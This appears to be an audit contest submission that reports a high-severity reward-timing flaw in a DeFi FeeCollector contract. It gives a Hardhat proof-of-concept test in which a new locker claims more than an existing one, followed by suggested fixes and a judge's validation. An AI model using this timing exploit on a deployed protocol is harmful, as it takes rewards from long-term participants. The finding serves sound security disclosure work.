Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Instantaneous voting power snapshots enable reward timing attacks

Description

The FeeCollector::_calculatePendingRewards function calculates user rewards based on current voting power ratios, enabling new users to claim disproportionately high rewards compared to long-term participants. The calculation uses instantaneous snapshots of userVotingPower and totalVotingPower, allowing users to maximize rewards by claiming immediately after locking tokens before their voting power decays.

Proof of Concept

Add to FeeCollector.test.js:

it("allows new lockers to claim disproportionate rewards", async function () {
// Get fresh signers without existing locks
const [, , , , , , , user3, user4] = await ethers.getSigners();
// Fund new users
await raacToken.mint(user3.address, INITIAL_MINT);
await raacToken.mint(user4.address, INITIAL_MINT);
await raacToken
.connect(user3)
.approve(feeCollector.target, ethers.MaxUint256);
await raacToken
.connect(user4)
.approve(feeCollector.target, ethers.MaxUint256);
await raacToken.connect(user3).approve(veRAACToken.target, ethers.MaxUint256);
await raacToken.connect(user4).approve(veRAACToken.target, ethers.MaxUint256);
// Initial setup
await feeCollector.connect(owner).distributeCollectedFees();
// User3 locks 1000 RAAC for 1 year
await veRAACToken.connect(user3).lock(ethers.parseEther("1000"), ONE_YEAR);
await time.increase(ONE_YEAR / 2); // 6 months later, user3's tokens suffer from linear decay
// User4 locks 1000 RAAC for 1 year and immediately claims bigger share of the existing rewards
await veRAACToken.connect(user4).lock(ethers.parseEther("1000"), ONE_YEAR);
// Capture rewards
let user3Reward, user4Reward;
await expect(feeCollector.connect(user4).claimRewards(user4.address))
.to.emit(feeCollector, "RewardClaimed")
.withArgs(user4.address, (value) => {
user4Reward = value;
return true;
});
await expect(feeCollector.connect(user3).claimRewards(user3.address))
.to.emit(feeCollector, "RewardClaimed")
.withArgs(user3.address, (value) => {
user3Reward = value;
return true;
});
console.log("user3Reward: ", user3Reward);
console.log("user4Reward: ", user4Reward);
// Verify new locker gets more rewards, unfair for existing lockers
expect(user4Reward).to.be.gt(user3Reward);
});

Impact

High Severity - Directly impacts reward distribution fairness, allowing strategic actors to maximize returns through timing attacks while penalizing long-term participants.

Recommendation

  • Time-Weighted Average Voting Power

contracts/core/collectors/FeeCollector.sol
function _calculatePendingRewards(address user) internal view returns (uint256) {
+ uint256 duration = block.timestamp - lastClaimTime[user];
+ uint256 avgPower = veRAACToken.getAveragePower(user, lastClaimTime[user], duration);
- uint256 userShare = userVotingPower * 1e18 / totalVotingPower;
+ uint256 userShare = avgPower * 1e18 / veRAACToken.getAverageTotalPower(duration);
  • Snapshot Voting Power at Distribution
    Store voting power when fees are distributed:

struct Distribution {
uint256 blockTime;
uint256 totalPower;
mapping(address => uint256) userPower;
}
function distributeCollectedFees() external {
currentDistro.blockTime = block.timestamp;
currentDistro.totalPower = veRAACToken.getTotalVotingPower();
// Store individual powers...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.